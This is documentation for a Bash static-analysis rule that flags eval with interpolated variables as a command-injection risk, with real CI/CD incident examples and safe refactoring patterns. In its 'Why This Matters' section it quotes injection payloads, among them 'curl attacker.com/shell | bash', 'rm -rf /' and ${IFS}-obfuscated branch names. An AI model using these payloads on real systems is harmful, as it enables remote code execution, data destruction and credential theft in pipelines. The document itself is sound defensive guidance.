VNX-BASH-001 – eval with Potentially User-Controlled Input
Overview
This rule flags any use of eval in Bash or shell scripts where the argument contains a $ variable reference or a backtick command substitution. It excludes commented-out lines and lines that consist solely of a static string literal with no variable interpolation.
eval causes the shell to re-parse and execute its argument as a new shell command. When any portion of the string passed to eval originates from user input, an environment variable set by an untrusted source, a file path, or the output of an external command, an attacker who controls that portion can inject arbitrary shell commands that execute with the script’s full privileges.
Severity: Critical | CWE: CWE-78 – Improper Neutralisation of Special Elements Used in an OS Command | CAPEC: CAPEC-88 – OS Command Injection
OWASP ASVS 4.0 – V5.3.8: Verify that the application protects against OS command injection and that operating system calls use parameterized OS queries or use contextual command line output encoding. (Applies at Level 1, 2, and 3.)
Why This Matters
eval is one of the most dangerous constructs in shell scripting precisely because it grants the programmer the ability to construct commands dynamically — and grants an attacker the same ability. Command injection via eval requires no memory corruption or kernel exploits: if the attacker can influence any byte of the evaluated string, they can append ; rm -rf /, ; curl attacker.com/shell | bash, or any other command, and it will execute with the full permissions of the running process.
Real-world examples:
- GitHub Actions CI/CD injection (GHSL-2023-100, 2023) — The Apache Ignite workflow passed the attacker-controlled
${{ github.head_ref }}branch name into shell commands. An attacker created a pull request from a branch namedmaster;echo${IFS}"hello";#to execute injected code in the CI pipeline and exfiltrate theSONARCLOUD_TOKEN. Scripts that pass such values throughevalare directly exploitable. - CVE-2023-49291 (tj-actions/branch-names) — The
branch-namesGitHub Action embeddedgithub.head_refin a shellrunstep. An attacker supplied a branch name containing${IFS}&&curl${IFS}...${IFS}|${IFS}bashto download and execute a remote payload with CI permissions. - ShellShock (CVE-2014-6271) — The ShellShock vulnerability was itself a form of
eval-equivalent behaviour in Bash’s function-export mechanism, demonstrating how dynamic shell re-parsing can be weaponised at scale to compromise web servers exposed via CGI. - Build script privilege escalation — CI/CD build scripts frequently run with access to deployment keys, cloud credentials, and package-signing keys. An
evalof attacker-influenced content in such a context typically leads to full pipeline takeover.
ATT&CK technique T1059.004 (Command and Scripting Interpreter: Unix Shell) covers this class of command injection. Even when the developer believes they control the input, dynamic eval is a maintenance hazard — future refactoring may introduce a new code path that feeds external input into the evaluated string without the security implication being recognised.
What Gets Flagged
# FLAGGED: variable interpolated into eval
eval "$user_command"
# FLAGGED: command substitution result passed to eval (backtick form)
eval `get_config_value "cmd"`
# FLAGGED: concatenation with an environment variable
eval "docker run $IMAGE_NAME"
# FLAGGED: eval combining multiple variables
eval "$BUILD_CMD --target $TARGET"
# NOT flagged: eval with a purely static string (no variables or substitutions)
eval "set -euo pipefail"
Remediation
Default Bash behaviour: Bash does not restrict eval in any way — it is the script author’s responsibility to avoid or constrain it. Secure usage requires explicit code refactoring.
Eliminate
evalentirely. Most uses ofevalcan be replaced with arrays,declare, parameter expansion,casestatements, or direct command invocation.Use arrays for dynamic command construction. Build a command as a Bash array and execute it directly instead of constructing a string. Arrays preserve argument boundaries even when values contain spaces or shell metacharacters.
If
evalis genuinely necessary, restrict it strictly to a static string you control entirely — a string with no variable references and no command substitutions. Never allow any externally sourced value to appear inside the evaluated string.Validate and allowlist before any dynamic dispatch. If you must dispatch dynamically based on input, use a
casestatement with an explicit allowlist of valid options rather than building and evaluating a string.
# SAFE: use an array to build dynamic commands — no eval needed
cmd_args=("docker" "run" "--rm")
if [[ "$debug" == "true" ]]; then
cmd_args+=("--entrypoint" "bash")
fi
cmd_args+=("$IMAGE_NAME")
"${cmd_args[@]}"
# SAFE: case statement replaces eval-based dispatch; fails closed on unknown input
run_task() {
local task="$1"
case "$task" in
build) do_build ;;
test) do_test ;;
deploy) do_deploy ;;
*) echo "Unknown task: $task" >&2; exit 1 ;;
esac
}
# SAFE: declare -n nameref (Bash 4.3+) instead of eval to expand variable names dynamically
declare -n ref="$varname"
echo "$ref"
References
- CWE-78: Improper Neutralisation of Special Elements Used in an OS Command
- CAPEC-88: OS Command Injection
- OWASP ASVS 4.0 – V5.3.8: OS Command Injection
- OWASP – OS Command Injection Defense Cheat Sheet
- BashFAQ/048 – Why should eval be avoided in Bash?
- ShellCheck SC2046 – Quote this to prevent word splitting
- ShellCheck SC2006 – Use
$(...)notation instead of legacy backticks - MITRE ATT&CK T1059.004 – Command and Scripting Interpreter: Unix Shell
- GitHub Security Lab GHSL-2023-100 – Apache Ignite command injection
- CVE-2023-49291 – tj-actions/branch-names script injection
- GitHub Docs – Script injections in GitHub Actions